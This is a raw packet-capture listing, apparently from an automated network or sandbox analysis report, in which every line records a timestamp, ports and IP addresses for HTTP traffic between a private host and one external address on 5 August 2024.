Aug 5, 2024 11:59:21.321022034 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.321032047 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.321043015 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.321049929 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.321110964 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.321118116 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.321130037 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.321139097 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.321150064 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.321161032 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.321211100 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.321211100 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.321222067 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.321233034 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.321243048 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.321253061 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.321268082 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.321271896 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.321283102 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.321294069 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.321301937 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.321305990 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.321317911 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.321326971 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.321329117 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.321357965 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.321357965 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.321877003 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.321918964 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.321928978 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.321955919 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.321974993 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.321985960 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.321995020 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.322006941 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.322007895 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.322029114 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.322053909 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.322066069 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.322074890 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.322086096 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.322087049 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.322108030 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.322170973 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.322181940 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.322191954 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.322201014 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.322211981 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.322215080 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.322258949 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.322746038 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.322807074 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.322818041 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.322827101 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.322838068 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.322905064 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.364331961 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.605256081 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.605282068 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.605295897 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.605307102 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.605319977 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.605330944 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.605345011 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.605346918 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.605391979 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.605398893 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.605412960 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.605427027 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.605439901 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.605454922 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.605483055 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.605523109 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.605534077 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.605545998 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.605556965 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.605567932 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.605575085 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.605586052 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.605592966 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.605600119 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.605612040 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.605617046 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.605627060 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.605638981 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.605640888 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.605681896 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.605989933 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.606012106 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.606024027 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.606041908 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.606081009 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.606107950 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.606121063 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.606132984 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.606144905 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.606163025 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.606192112 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.606197119 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.606210947 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.606223106 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.606234074 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.606251955 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.606297970 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.606509924 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.606532097 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.606544018 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.606609106 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.606650114 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.606662035 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.606672049 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.606683016 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.606704950 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.606709957 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.606724024 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.606724977 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.606740952 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.606753111 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.606764078 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.606764078 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.606785059 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.606798887 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.606805086 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.606812000 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.606823921 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.606858969 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.606863976 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.606877089 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.606889009 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.606899977 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.606914997 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.606934071 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.607465982 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.607479095 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.607502937 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.607515097 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.607526064 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.607537031 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.607537985 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.607567072 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.607610941 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.946069002 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.946100950 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.946113110 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.946122885 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.946156025 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.946161985 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.946213961 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.946225882 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.946247101 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.946266890 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.946273088 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.946280003 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.946290970 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.946319103 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.946346998 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.946379900 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.946391106 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.946399927 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.946409941 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.946419001 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.946429968 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.946441889 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.946475029 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.946479082 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.946491003 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.946501970 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.946515083 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.946525097 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.946533918 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.946554899 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.947066069 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.947077990 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.947091103 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.947101116 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.947113037 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.947124958 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.947125912 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.947138071 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.947148085 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.947223902 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.947237968 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.947247028 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.947252989 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.947277069 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.947339058 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.947352886 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.947364092 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.947379112 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.947390079 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.947400093 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.947408915 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.947411060 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.947422028 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.947432041 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.947438002 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.947446108 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.947454929 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.947454929 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.947478056 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.947503090 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.947788000 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.947798967 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.947812080 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.947829962 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.947835922 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.947845936 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.947858095 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.947864056 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.947899103 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.947899103 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.947940111 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.947951078 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.947961092 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.947972059 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.947988987 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.948000908 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.948002100 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.948014021 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.948024988 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.948036909 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.948038101 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.948059082 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.948076963 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.948126078 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.948137999 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.948148012 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.948159933 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.948172092 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:21.948178053 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.948204994 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:21.988838911 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.290986061 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.291002035 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.291012049 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.291058064 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.291064978 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.291069984 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.291083097 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.291112900 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.291121006 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.291156054 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.291167021 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.291186094 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.291197062 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.291203976 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.291208982 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.291238070 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.291243076 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.291255951 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.291265965 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.291289091 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.291311026 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.291368961 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.291379929 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.291394949 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.291404963 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.291415930 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.291420937 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.291428089 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.291435957 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.291476965 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.291728020 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.291753054 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.291764021 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.291800976 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.291816950 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.291827917 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.291837931 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.291848898 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.291861057 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.291904926 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.291929007 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.291940928 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.291951895 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.291963100 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.291973114 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.291975975 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.292001009 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.292028904 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.292195082 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.292244911 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.292254925 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.292264938 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.292288065 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.292311907 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.292331934 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.292347908 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.292359114 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.292371988 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.292387962 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.292402983 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.292426109 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.292438030 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.292447090 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.292458057 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.292468071 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.292478085 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.292509079 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.292759895 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.292804003 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.292807102 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.292817116 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.292855978 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.292862892 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.292867899 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.292881012 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.292891979 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.292922020 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.292939901 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.292942047 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.292954922 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.292999983 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.296071053 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.296148062 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.296159029 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.296169043 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.296185970 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.296191931 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.296200037 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.296212912 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.296222925 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.296226978 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.296240091 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.296242952 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.296263933 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.296328068 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.296339989 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.296350002 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.296359062 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.296369076 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.296374083 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.296380043 CEST	80	49734	27.221.16.149	192.168.2.5
